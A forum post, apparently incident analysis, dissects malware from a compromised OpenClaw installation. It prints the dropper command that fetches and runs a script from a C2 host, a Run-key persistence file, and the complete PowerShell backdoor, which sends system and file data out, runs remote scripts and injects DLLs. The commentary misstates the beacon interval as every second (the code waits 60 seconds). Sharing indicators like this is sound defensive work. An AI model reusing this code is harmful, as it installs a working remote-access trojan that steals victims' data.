Compromised OpenClaw Details

We caught ourselves a compromised OpenClaw installation. Here’s what we have.

Post-Installation Payload

Once installed, a temporary VBS script was written to %LOCALAPPDATA%\Temp\6202033.vbs.

This ran:

"C:\Windows\System32\cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" "http://sfrclak.com:8000/6202033" > "C:\Users\USER\AppData\Local\Temp\6202033.ps1" & "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "C:\Users\USER\AppData\Local\Temp\6202033.ps1" "http://sfrclak.com:8000/6202033" & del "C:\Users\USER\AppData\Local\Temp\6202033.ps1" /f

So the same IoCs as reported before.

Recon

Commands run include:

netstat -ano -p tcp
schtasks /Query /TN "OpenClaw Gateway" /V /FO LIST
schtasks /Query
schtasks /Query /TN "OpenClaw Gateway"
where powershell

Persistence

system.bat is written to the CurrenVersion\Run registry key. Contents:

start /min powershell -w h -c "
([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033' -Method POST -Body 'packages.npm.org/product1').Content))) 'http://sfrclak[.]com:8000/6202033'"

As noted, the C2 should be down, but this is what you would want to look for.

I have the samples and can analyze further as necessary.

1 Like

Here is the PowerShell script, which is the meat and potatoes of the malware.

$url = $args[0]
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_})
$username = $env:USERNAME
$hostname = $env:COMPUTERNAME
$timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + $((Get-TimeZone).StandardName)
$bootTime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$bootTimeString = $bootTime.ToString("r")
$installDate = (Get-CimInstance Win32_OperatingSystem).InstallDate
$modelName = (Get-CimInstance Win32_ComputerSystem).Model
$cpuType = (Get-CimInstance Win32_Processor | Select-Object -First 1).Name
$os = Get-CimInstance Win32_OperatingSystem
$version = "$($os.Caption) $($os.OSArchitecture) $($os.Version)"

$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$regName = "MicrosoftUpdate"
$batFile = Join-Path $env:PROGRAMDATA "system.bat"
$batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'"""
Set-Content -Path $batFile -Value $batCont -Encoding ASCII
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path $regKey -Name $regName -Value $batFile

function Get-Response {
    param(
        [string] $body
    )

    $wc = New-Object System.Net.WebClient
    try {
        $wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
        $wc.Headers["Content-Type"] = "application/x-www-form-urlencoded"

        $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)

        $base64Body = [Convert]::ToBase64String($bodyBytes)

        $postBytes = [System.Text.Encoding]::UTF8.GetBytes($base64Body)

        $responseBytes = $wc.UploadData($url, "POST", $postBytes)

        return $responseBytes
    }
    catch {
        return $null
    }
    finally {
        $wc.Dispose()
    }
}

function Do-Action-Ijt {
    param(
        [string] $ijtdll,
        [string] $ijtbin,
        [string] $param
    )
    try{
        [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)
        [byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)
        $assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)
        $class = $assem.GetType("Extension.SubRoutine")
        $method = $class.GetMethod("Run2")
        $method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))
    }
    catch {
        return @{
                status = "Zzz"
                msg = $_.Exception.Message
            }
    }
    return "Wow"
}

function Do-Run-Scpt {
    param(
        [string] $cmdline
    )

    try{
        $psi = New-Object System.Diagnostics.ProcessStartInfo
        $psi.FileName = "powershell.exe"
        $psi.Arguments = $cmdline

        $psi.UseShellExecute = $false
        $psi.CreateNoWindow = $true
        $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
        $psi.RedirectStandardOutput = $true

        $p = [System.Diagnostics.Process]::Start($psi)
        $stdout = $p.StandardOutput.ReadToEnd()

        $p.WaitForExit()
        
        return @{
            status = "Wow"
            msg = $stdout
        }
    }
    catch{
        return @{
            status = "Zzz"
            msg = $_.Exception.Message
        }
    }
}

function Do-Action-Scpt {
    param(
        [string] $scpt,
        [string] $param
    )
    if ($scpt.Length -eq 0) {
        $res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass $param 2>&1"
        return $res
    }

    $payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($scpt))

    if ($payload.Length -ge 10240) {
        $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N")))
        Set-Content -Path $tempFile -Value $payload -Encoding UTF8 -Force
        $res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -File `"$tempFile`" `"$param`" 2>&1"        
        if (Test-Path $tempFile) { Remove-Item $tempFile -Force -ErrorAction SilentlyContinue }
        return $res
    }
    else {
        $payloadBytes = [Text.Encoding]::Unicode.GetBytes($payload)
        $paramBytes   = [Text.Encoding]::Unicode.GetBytes($param)

        $payloadEnc   = [Convert]::ToBase64String($payloadBytes)
        $paramEnc     = [Convert]::ToBase64String($paramBytes)

        $cmd = ("`$payload=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$payloadEnc')); "+"`$param=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$paramEnc')); "+"`$sb=[ScriptBlock]::Create(`$payload); "+'& '+"`$sb "+"`$param")

        $bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
        $enc   = [Convert]::ToBase64String($bytes)

        $res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -EncodedCommand $enc"
        return $res
    }
}

function Get-DetailedFileList {
    param(
        [string] $Path,
        [string] $Id,
        [switch] $Recurse
    )

    if (-not (Test-Path -LiteralPath $Path)) {
        return @{
            id = "-1"
        }
    }

    $items = Get-ChildItem -LiteralPath $Path -Force -Recurse:$Recurse

    $result = @(
        $items | ForEach-Object {
            [PSCustomObject]@{
                Name      = $_.Name
                IsDir     = $_.PSIsContainer
                SizeBytes = $_.Length
                Created   = ([DateTimeOffset]$_.CreationTime).ToUnixTimeSeconds()
                Modified  = ([DateTimeOffset]$_.LastWriteTime).ToUnixTimeSeconds()
                HasItems  = if ($_.PSIsContainer) {
                    (Get-ChildItem -LiteralPath $_.FullName -Force -ErrorAction SilentlyContinue | Select-Object -First 1) -ne $null
                } else {
                    $false
                }
            }
        }
    )

    $rlt = @{
        id = $Id
        parent = $Path
        childs = $result
    }
    return $rlt
}

function Do-Action-Dir {
    param(
        [pscustomobject[]] $Paths
    )

    $rlt = @()
    foreach ($item in $Paths) {
        $rlt += Get-DetailedFileList -Path $item.path -Id $item.id
    }

    if ($Paths.Length -eq 1){
        return ,$rlt
    }
    return $rlt
}

function Process-Request {
    param(
        [string] $data
    )

    $res = $null

    if ($Data.Length -eq 0) {
        return $false
    }

    $json = ($data | ConvertFrom-Json)

    Write-Host $data

    if ($json.type -eq "kill") {
        $body = @{
            type = "CmdResult"
            cmd = "rsp_kill"
            cmdid = $json.CmdID
            uid = $uid
            status = "success"
        }

        $res = Get-Response -body ($body | ConvertTo-Json)

        exit 0
    }
    elseif ($json.type -eq "peinject") {
        $rlt = Do-Action-Ijt -ijtdll $json.IjtDll -ijtbin $json.IjtBin -param $json.Param
        $body = @{
            type = "CmdResult"
            cmd = "rsp_peinject"
            cmdid = $json.CmdID
            uid = $uid
            status = $rlt.status
            msg = $rlt.msg
        }

        $res = Get-Response -body ($body | ConvertTo-Json)
    }
    elseif ($json.type -eq "runscript") {
        $rlt = Do-Action-Scpt -scpt $json.Script -param $json.Param

        $body = @{
            type = "CmdResult"
            cmd = "rsp_runscript"
            cmdid = $json.CmdID
            uid = $uid
            status = $rlt.status
            msg = $rlt.msg
        }

        $res = Get-Response -body ($body | ConvertTo-Json)
    }
    elseif($json.type -eq "rundir") {
        $rlt = Do-Action-Dir -path $json.ReqPaths

        $body = @{
            type = "CmdResult"
            cmd = "rsp_rundir"
            cmdid = $json.CmdID
            uid = $uid
            msg = $rlt
        }

        $res = Get-Response -body ($body | ConvertTo-Json -Depth 10)
    }

    return $true
}

function Init-Dir-Info {
    $userDir = $env:USERPROFILE
    $initDir = @(
        Join-Path $userDir "Documents"
        Join-Path $userDir "Desktop"
        Join-Path $userDir "OneDrive"
        Join-Path $userDir "AppData\Roaming"
    )
    $drives = Get-PSDrive -PSProvider FileSystem | ForEach-Object { $_.Root }

    $initDir += $drives

    
    $rlt = @()
    $idx = 0
    foreach ($item in $initDir) {
        $tmp = Get-DetailedFileList -Path $item -Id ("FirstReqDir-$idx")
        if($tmp.id -eq "-1"){continue}
        $rlt += $tmp
        $idx++
    }

    return $rlt
}

function mainWork {
    
}

function work {

    $arch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture
    $os = "windows_x64"

    switch ($arch) {
        "X64"   { $os="windows_x64" }
        "Arm64" { $os="windows_arm" }
        default { $os="windows_x64" }
    }

    $dirInfo = Init-Dir-Info
    $firstInfo = @{
        type = "FirstInfo"
        uid = $uid
        content = $dirInfo
        os = $os
    }

    $res = Get-Response -body ($firstInfo | ConvertTo-Json -Depth 5)

    $first = $true
    while ($true) {
        $currentTime        = Get-Date
        $currentTimeString  = $currentTime.ToString("r")

        $processList = ""

        Get-CimInstance Win32_Process | ForEach-Object {
            $processId = $_.ProcessId
            $sid  = $_.SessionId
            $name = $_.Name
            $path = $_.ExecutablePath

            $line = "${processId}   ${sid}   ${name}   ${path}"
            $processList += $line + "`n"
        }

        $data = @{
            currentTimeString = $currentTimeString
        }
        if ($first) {
            $data = @{
                hostname = $hostname
                username = $username
                version = $version
                timezone = $timezone
                installDate = $installDate
                bootTimeString = $bootTimeString
                currentTimeString = $currentTimeString
                modelName = $modelName
                cpuType = $cpuType
                os = $os
                processList = $processList
            }
            $first = $false
        } else {
            $data = @{
                currentTimeString = $currentTimeString
            }
        }

        $postdata = @{
            type = "BaseInfo"
            uid = $uid
            data = $data
        }

        if ($null -ne $url -and -not [string]::IsNullOrWhiteSpace($url)) {
            $res = Get-Response -body ($postData | ConvertTo-Json -Depth 10)
            if ($null -ne $res -and $res.Length -gt 0) {
                Process-Request -data ([System.Text.Encoding]::UTF8.GetString($res))
            }
        }

        $count = $count + 1

        Start-Sleep -Seconds 60
    }

    return $true
}

work

Analysis

Firstly, this is the cleanest PowerShell stage I’ve seen in a while. It almost has to be AI generated because no self-respecting criminal would push this out without some kind of obfuscation.

Upon first launch, the script grabs contents of home directory folders (Init-Dir-Info) and sends that along to the C2 URL. Then every second afterward, it sends a timestamp as a hearbeat. No jitter, no randomization. Just…a heartbeat. If it receives JSON back, it interprets it via Process-Response.

Fun note: It’s writing the response to stdout!

Commands include:

  • kill: Kill the process
  • runscript: Run a supplied PowersShell script that’s base64-encoded (Do-Action-Scpt)
  • peinject: Reflective DLL injection with supplied DLL .NET Assembly (Do-Action-Ijt)
  • rundir: Get a directory listing (Do-Action-Dir)

About as straightforward as it gets.

Made this CLEAR to keep expectations, uh, clear about these artifacts.